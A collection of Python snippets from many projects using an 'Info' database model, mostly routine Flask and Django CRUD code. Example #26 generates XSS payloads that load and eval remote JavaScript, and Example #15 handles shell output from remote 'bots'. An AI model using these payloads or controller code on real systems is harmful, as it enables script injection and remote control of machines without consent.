Example #1
0
 def _update_or_create_info(self, word, count):
     info_query = Info.query.filter(Info.url == self.url, Info.word == word)
     if info_query.count() == 0:
         info = Info(self.url, word, count)
         db.session.add(info)
     else:
         info = info_query[0]
         info.count = count
     db.session.commit()
     return info
Example #2
0
 def _update_or_create_info(self, word, count):
     info_query = Info.query.filter(Info.url==self.url, Info.word==word)
     if info_query.count() == 0:
         info = Info(self.url, word, count)
         db.session.add(info)
     else:
         info = info_query[0]
         info.count = count
     db.session.commit()
     return info
Example #3
0
    def setUp(self):

        Info.query.delete()
        Education.query.delete()
        Population.query.delete()
        Poverty.query.delete()

        information = Info(county='Butler County',
                           state='Ohio',
                           county_code='017',
                           state_code=39,
                           joint_code=39017)
        education = Education(county_code='017', state_code=39, ed_pop=54151)
        population = Population(county_code='017',
                                state_code=39,
                                pop=384134,
                                pop_den=821)
        poverty = Poverty(county_code='017', state_code=39, pov=11.7)

        db.session.add_all([information, education, population, poverty])
        db.session.commit()

        self.information = information
        self.education = education
        self.population = population
        self.poverty = poverty
Example #4
0
def home():
    if 'email' not in session:
        return redirect(url_for('login'))
    email = session['email']
    form = InfoForm()
    key = ''
    value = ''

    user = db_session.query(User).filter(User.email == email).first()
    if request.method == 'POST':
        if form.validate() == False:
            return render_template('home.html', form=form)
        else:

            key = form.key.data
            value = form.value.data
            newinfo = Info(form.key.data, form.value.data, user.uid)
            db_session.add(newinfo)
            db_session.commit()

            return render_template('home.html',
                                   form=form,
                                   key=key,
                                   value=value)

    elif request.method == 'GET':
        return render_template("home.html",
                               form=form,
                               key=key,
                               value=value,
                               user=user)
Example #5
0
    def set_info(cls, jid, key, value):
        """ 设置成员选项
        Arguments:
            `jid`   -   jid
            `key`   -   选项键
            `value` -   选项值
        """
        m = cls.get_one(jid)
        try:
            info = session.query(Info).filter(
                and_(Info.key == key, Info.member == m,
                     Info.is_global == 0)).one()
            info.value = value
        except NoResultFound:
            info = Info(key, value)
            if m.infos:
                m.infos.append(info)
            else:
                m.infos = [info]
        finally:
            try:
                session.commit()
            except:
                session.rollback()

        return info
Example #6
0
def forge(tags, articles):
    db.drop_all()
    db.create_all()

    fake = Faker(locale="zh_CN")

    # tags
    for i in range(tags):
        try:
            tag = Tag(name=fake.word())

            db.session.add(tag)
        except Exception:
            continue
    db.session.commit()

    # articles
    for i in range(articles):
        try:
            article = Article(
                title=fake.sentence(),
                text=fake.text(),
            )
            article.tags.append(Tag.query.get(randint(1, Tag.query.count())))
            db.session.add()
        except Exception:
            continue
    db.session.commit()

    info = Info()
    db.session.add(info)
    db.session.commit()
    click.echo("Done.")
Example #7
0
def userAdd():
    tmp={}
    if request.method == 'POST':
        openid=request.values.get('openid')
        iid=request.values.get("id")
        name=request.values.get("name")
        identity=request.values.get("identity")
        email=request.values.get("email")
        if not name or not openid or not iid or not identity or not email:
            tmp['status']='false'
            tmp['openid']=openid
            tmp['name']=name
            tmp['id']=iid
            tmp['identity']=identity
            tmp['email']=email
        else:
            info = Info(openid=openid,id=iid,name=name,identity=identity,email=email)
            db.session.add(info)
            try:
                db.session.commit()
                db.session.close()
            except:
                app.logger.error("Error in parse userAdd", exc_info=True)
                db.session.rollback()
            tmp['status']='true'
    else:
        tmp['status']='false'
    return json.dumps(tmp,ensure_ascii=False)
Example #8
0
 def get(self):
     links = ['facebook', 'twitter', 'instagram']
     social_media = {}
     for link in Info.select():
         if link.name in links:
             social_media[link.name] = link.value
     return {'data': social_media, 'message': '', 'status': 'OK'}
Example #9
0
def information_table():
    """ Extracts information regarding a specific county including its county code, name and state"""

    res = requests.get(COUNTIES_API)
    resp = res.json()
    length = len(resp)

    for y in range(1, length):
        county_state = resp[y][0].split(',')
        county_name = (county_state[0])
        state_name = (county_state[1])
        state_code = resp[y][1]
        county_code = resp[y][2]
        length1 = len(state_code)
        length2 = len(county_code)

        if (length1 == 1 & length2 == 1):
            joint_code = str(state_code) + str("0") + str(county_code)
        elif (length1 == 2 & length2 == 1):
            joint_code = str(state_code) + str("0") + str(county_code)
        elif (length1 == 1 & length2 == 2):
            joint_code = str(state_code) + str(county_code)
        else:
            joint_code = str(state_code) + str(county_code)

        information = Info(county=county_name,
                           state=state_name,
                           county_code=county_code,
                           state_code=state_code,
                           joint_code=joint_code)
        db.session.add(information)
        db.session.commit()
Example #10
0
def show_bounty_list():
    # programs = get_bounty_programs(1)
    return render_template('index.html',
                           programs=Programs.get_by_date_limit(1),
                           page='bountylist.html',
                           info=Info(),
                           current_page=1,
                           last_page=Programs.get_last_page())
Example #11
0
def targets_index():
    if not user_auth():
        return redirect(url_for('index'))
    # bounties_info, information_count, xsslab_info, xsslab_count, targets_info, targets_count = extract_db()
    return render_template('index.html',
                           page="targets.html",
                           info=Info(),
                           targets=Targets.get())
Example #12
0
def create():
    form = InfoForm()
    if form.validate_on_submit():
        create = Info(name=request.form["name"],
                      content=request.form["content"])
        db.session.add(create)
        db.session.commit()
        return redirect(url_for('dashboard'))
    return render_template('authentication/create.html', form=form)
Example #13
0
def index(request):
    now = datetime.datetime.now()
    if request.method == "POST":
        form = InfoForm(request.POST)
        if form.is_valid():
            info = Info(key="user-info", data=pickle.dumps(form.cleaned_data))
            info.save()
    else:
        data = None
        try:
            data_row = Info.objects.get(key="user-info")
            data = pickle.loads(str(data_row.data))
        except Info.DoesNotExist:
            data = {}

        form = InfoForm(data)

    return {"form": form}
Example #14
0
    def get(self):
        user = User.get(id=int(get_jwt_identity()))
        if user.account_type != 'admin':
            return {}, 401

        links = ['facebook', 'twitter', 'instagram']
        social_media = {}
        for link in Info.select():
            if link.name in links:
                social_media[link.name] = link.value
                print link.name, link.value
        return {'data': social_media, 'message': '', 'status': 'OK'}
Example #15
0
    def on_message(self, bot: Bot, message: bytes):
        """When server receives message from bot."""
        message = super().on_message(bot, message)
        if message is None:
            return

        event_type = message.get("event_type")
        if event_type == "log":
            self.log.emit(
                bot,
                Log(bot.id(), message.get("thread_name"), message.get("name"),
                    message.get("level"), message.get("msg")))

        elif event_type == "task":
            state = message.get("state")
            task_id = message.get("task_id")
            task = bot.get_task_by_id(task_id)
            if task:
                if state == "queued":
                    task.set_queued(datetime.datetime.now())
                elif state == "started":
                    task.set_running(datetime.datetime.now())
                elif state == "finished":
                    task.set_finished(datetime.datetime.now(),
                                      message.get("result"),
                                      message.get("exit_code"))
                else:
                    self.logger.error(
                        "Unknown task state for message {}".format(message))
                    return
                self.task.emit(task)
            else:
                self.logger.error(
                    "Could not find task with ID {} for bot {}".format(
                        task_id, bot.id()))

        elif event_type == "info":
            event = Info(bot.id(), message.get("info"), message.get("results"))
            bot.on_info_received(event)
            self.info.emit(event)

        elif event_type == "shell":
            event = message.get("event")
            if event == "error":
                self.shell_error.emit(bot, message.get("error"))
            elif event == "output":
                self.shell_output.emit(bot, str(message.get("output")))

        else:
            self.logger.error(
                "BOT-{}: Failed to find matching event type for {}".format(
                    bot.id(), message))
        self.message.emit(bot, message)
Example #16
0
def index(request, pindex):
    if pindex == '':
        pindex = 1
    list = Info.objects.all()
    p = Paginator(list, 2)
    page = p.page(int(pindex))

    title = request.POST.get('title')
    content = request.POST.get('content')
    if title == None:
        # info1 = Info.objects.all()
        content = {'title0': '舒启杰的个人博客', 'info1': list, 'page': page}
        return render(request, 'index.html', content)
    else:
        info = Info()
        info.title = title
        info.content = content
        info.save()
        info1 = Info.objects.all()
        content = {
            'title0': '舒启杰的个人博客',
            'title': title,
            'content': content,
            'info1': info1,
            'page': page
        }
        return render(request, 'index.html', content)
Example #17
0
async def api_create_info(request, *, title, _type_, content):
    check_admin(request)
    if not title or not title.strip():
        raise APIValueError('title', 'title cannot be empty.')
    if not _type_ or not _type_.strip():
        raise APIValueError('_type_', '_type_ cannot be empty.')
    if not content or not content.strip():
        raise APIValueError('content', 'content cannot be empty.')
    if not content[0:27] + content[-3:] == _RE_info:
        raise APIValueError('content', 'content format error')
    info = Info(title=title.strip(), _type_=_type_, content=content.strip())
    await info.save()
    return info
Example #18
0
def index():
    """ Index page
    """
    prop = dict()

    prop['skills'] = Skill.query.all()
    prop['projects'] = Project.query.all()
    prop['clients'] = Client.query.all()
    prop['categories'] = Category.query.all()

    prop['STATIC_URL'] = STATIC_URL
    prop['DEBUG'] = DEBUG
    prop['IMAGES_URL'] = IMAGES_URL

    prop['title'] = Info.get_param('title')
    prop['about'] = Info.get_param('about')
    prop['google_analytics'] = GOOGLE_ANALYTICS

    if 'username' in session:
        prop['username'] = escape(session['username'])

    return render_template('index.html', **prop)
Example #19
0
def info(doc_name):
    id_row = 3
    id_col = 10
    from_row = 2
    from_col = 6
    to_row = 3
    to_col = 6
    sheet = doc_open(doc_name)
    esewa_id = str(parse(sheet, id_row, id_col))
    from_date = str(parse(sheet, from_row, from_col))
    to_date = str(parse(sheet, to_row, to_col))
    db.session.add(Info(esewa_id, from_date, to_date))
    db.session.commit()
Example #20
0
    def post(self):
        user = User.get(id=int(get_jwt_identity()))
        if user.account_type != 'admin':
            return {}, 401

        data = parser.parse_args()
        facebook = Info.get(name="facebook")
        twitter = Info.get(name="twitter")
        instagram = Info.get(name="instagram")
        print data

        if data['facebook']:
            facebook.value = data['facebook']
            facebook.save()
        if data['twitter']:
            twitter.value = data['twitter']
            twitter.save()
        if data['instagram']:
            instagram.value = data['instagram']
            instagram.save()

        return {'data': '', 'message': '', 'status': 'OK'}
Example #21
0
    def get_global_info(key, default=None):
        """ 获取全局选项
        Arguments:
            `key`   -   选项键
            `default` -   默认值
        """
        try:
            info = session.query(Info).filter(
                and_(Info.key == key, Info.is_global == 1)).one()
        except NoResultFound:
            info = Info(key, default)

        return info
Example #22
0
def new_album():
    """
    Add a new info
    """
    form = InfoForm(request.form)

    if request.method == 'POST' and form.validate():
        # save the info
        info = Info()
        save_changes(info, form, new=True)
        flash('info created successfully!')
        return redirect('/')

    return render_template('new_album.html', form=form)
Example #23
0
def addemplogic():
    try:
        name = request.form.get("name")
        if name == "":
            name = None
        salary = request.form.get("salary")
        age = request.form.get("age")
        info = Info(name=name, salary=salary, age=age)
        db.session.add(info)
        db.session.commit()
        url = url_for("emplist", tag="add")
        return redirect(url)
    except:
        return '信息添加失败'
Example #24
0
def add_deliver(form):
    oid = form['oid']
    order = Order.query.filter_by(oid=oid).first()
    if order.status == 2:
        return redirect(url_for("superadd_page"))
    addr = order.addr
    cid = form['cid']

    car = Car.query.filter_by(cid=cid).first()

    mid = car.mid

    car.active = 1

    status = form['status']
    car.status = form['status']

    did = str(time.time())[:9] + str(random.randint(10, 99))
    new_deliver = Deliver(
        did=did,
        oid=oid,
        status=status,
        addr=addr,
        mid=mid,
        cid=cid
    )

    order.did = did
    if not order.status:
        order.status = 1
        iid = str(time.time())[:9] + str(random.randint(10, 99))
        new_info = Info(
            iid=iid,
            oid=oid,
            toxic=28,
            med=90,
            water=80,
            temp=0,
            moist=88,
            store=0,
        )
        order.iid = iid
        db.session.add(new_info)

    db.session.add(new_deliver)
    db.session.commit()

    return redirect(url_for("superadd_page"))
Example #25
0
    def get_info(cls, jid, key, default=None):
        """ 获取成员选项
        Arguments:
            `jid`   -   jid
            `key`   -   选项键
            `default` -   默认值
        """
        m = cls.get_one(jid)
        try:
            info = session.query(Info).filter(
                and_(Info.key == key, Info.member == m,
                     Info.is_global == 0)).one()
        except NoResultFound:
            info = Info(key, default)

        return info
Example #26
0
def lab_index():
	if not user_auth():
		return redirect(url_for('index'))

	# Generating payloads
	payloads = []
	payload_URL0 = request.url.replace('lab','js2').replace('http://','//').replace('https://','//')
	payloads.append('<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "'+payload_URL0+'");a.send();</script>')
	payloads.append('<script>with(top)document.body.appendChild(document.createElement("script")).src="'+payload_URL0+'";</script>')
	payloads.append("<script>eval('var a=document.createElement(\'script\');a.src=\'"+payload_URL0+"\';document.body.appendChild(a)')</script>")

	payload_URL1 = request.url.replace('lab','js').replace('http://','//').replace('https://','//')
	payloads.append('<script>fetch("'+payload_URL1+'").then(function(r){r.text().then(function(w){document.write(w)})})</script>')
	payloads.append('<script>var x=new XMLHttpRequest();x.open("GET","'+payload_URL1+'");x.send(); x.onreadystatechange=function(){if(this.readyState==4){document.write(x.responseText)}}</script>')

	
	return render_template('index.html', title='XSS Lab', info=Info(), page="lab.html",payloads=payloads, xsslab=Xss.get())
def extract_details_data(details):
    soup = BeautifulSoup(details, 'lxml')

    detainees_all = soup.find_all('div', class_='detaineeInfo')

    for detainee in detainees_all:
        detainee_info_table = detainee.find('table', class_='collapse centered_table shadow')
        detainee_trs = detainee_info_table.find_all('tr')

        data = {}

        for tr in detainee_trs:
            key = tr.find('td', class_='one td_left').text.lower().strip()
            value = tr.find('td', class_='two td_left').text.strip()

            data[key] = value

        info = Info.create(**data)
Example #28
0
def add():
    form = InfoForm()
    if form.validate_on_submit():
        data = form.getDataDict()

        schoolnum = Info.query.filter_by(name=data['schoolnum']).first()
        print(schoolnum)
        if schoolnum:
            flash(message="student id is exists")
        else:
            info = Info()
            for i in data:
                if hasattr(info, i):
                    setattr(info, i, data[i])
            db.session.add(info)
            db.session.commit()
            flash("commit successed!")
    return render_template("forms.html",form=form)
Example #29
0
    def post(self):
        user = User.get(id=int(get_jwt_identity()))
        if user.account_type != 'admin':
            return {}, 401

        data = parser.parse_args()
        print data
        info = Info.get(name=data['ads-name'])
        if data['file'] == '':
            return {'data': '', 'message': 'No photo found', 'status': 'Error'}
        photo = data['file']
        if photo:
            if info.value:
                remove_file(info.value)
                print 'Updating'
            else:
                print 'Creating'
            info.value = get_date() + '.png'
            photo.save(os.path.join(UPLOAD_FOLDER, info.value))
            info.save()
        return {'data': info.dictionary(), 'status': '', 'message': ''}
Example #30
0
    def set_global_info(key, value):
        """ 设置全局选项
        Arguments:
            `key`   -   选项键
            `value` -   选项值
        """
        try:
            info = session.query(Info).filter(
                and_(Info.key == key, Info.is_global == 1)).one()
            info.value = value
        except NoResultFound:
            info = Info(key, value, True)
            try:
                session.add(info)
            except:
                session.rollback()
        finally:
            try:
                session.commit()
            except:
                session.rollback()

        return info
Example #31
0
 def get(self):
     user = User.get(id=int(get_jwt_identity()))
     if user.account_type != 'admin':
         return {}, 401
     ads_left = Info.get(name="ads-left")
     return {'status': 'OK', 'message': '', 'data': [ads_left.dictionary()]}
Example #32
0
def add_info(form):
    item = 0
    oid = form['oid']

    iid = str(time.time())[:9] + str(random.randint(10, 99))

    score = 0

    if float(form['toxic']) > 30:
        score += 1
        item += pow(2, 5)
    elif float(form['toxic']) > 28:
        score += 0.1
        item += pow(2, 5)
    elif float(form['toxic']) > 25:
        score += 0.01
        item += pow(2, 5)

    if float(form['med']) < 90:
        score += 1
        item += pow(2, 4)
    elif float(form['med']) < 93:
        score += 0.1
        item += pow(2, 4)
    elif float(form['med']) < 95:
        score += 0.01
        item += pow(2, 4)

    if float(form['water']) < 73:
        score += 1
        item += pow(2, 3)
    elif float(form['water']) < 75:
        score += 0.1
        item += pow(2, 3)
    elif float(form['water']) < 80:
        score += 0.01
        item += pow(2, 3)

    if float(form['temp']) > 4 or float(form['temp']) < -0.5:
        score += 1
        item += pow(2, 2)
    elif float(form['temp']) > 3.5 or float(form['temp']) < 0:
        score += 0.1
        item += pow(2, 2)
    elif float(form['temp']) != 1:
        score += 0.01
        item += pow(2, 2)

    if float(form['moist']) > 95 or float(form['moist']) < 85:
        score += 1
        item += pow(2, 1)
    elif float(form['moist']) > 93 or float(form['moist']) < 87:
        score += 0.1
        item += pow(2, 1)
    elif float(form['moist']) != 90:
        score += 0.01
        item += pow(2, 1)

    if int(form['store']) > 14:
        score += 1
        item += pow(2, 0)
    elif int(form['store']) > 10:
        score += 0.1
        item += pow(2, 0)
    elif int(form['store']) > 7:
        score += 0.01
        item += pow(2, 0)

    level = 0
    if score > 2:
        level = 4
    elif score > 0.2:
        level = 3
    elif score > 0.02:
        level = 2
    else:
        level = 1

    new_info = Info(
        toxic=form['toxic'],
        med=form['med'],
        water=form['water'],
        moist=form['moist'],
        store=form['store'],
        temp=form['temp'],
        iid=iid,
        level=level,
        oid=oid,
    )

    order = Order.query.filter_by(oid=oid).first()
    order.iid = iid

    db.session.add(new_info)
    db.session.commit()

    if level != 0:
        aids = db.session.query(Admin.aid).all()
        for i in aids:
            new_alert = Alert(
                msgfor=2,
                toid=str(i[0]),
                msg=ALERT_MSG[level-1],
                title=ALERT_TITLE[level-1],
                oid=oid,
                item=item,
                valid=1,
                level=level-1,
                iid=iid,
            )
            order.alevel = level-1
            db.session.add(new_alert)
            db.session.commit()

    return redirect(url_for("superadd_page"))
Example #33
0
 def get(self):
     ad = Info.get(name="ads-left")
     return {'data': ad.dictionary(), 'status': 'OK', 'message': ''}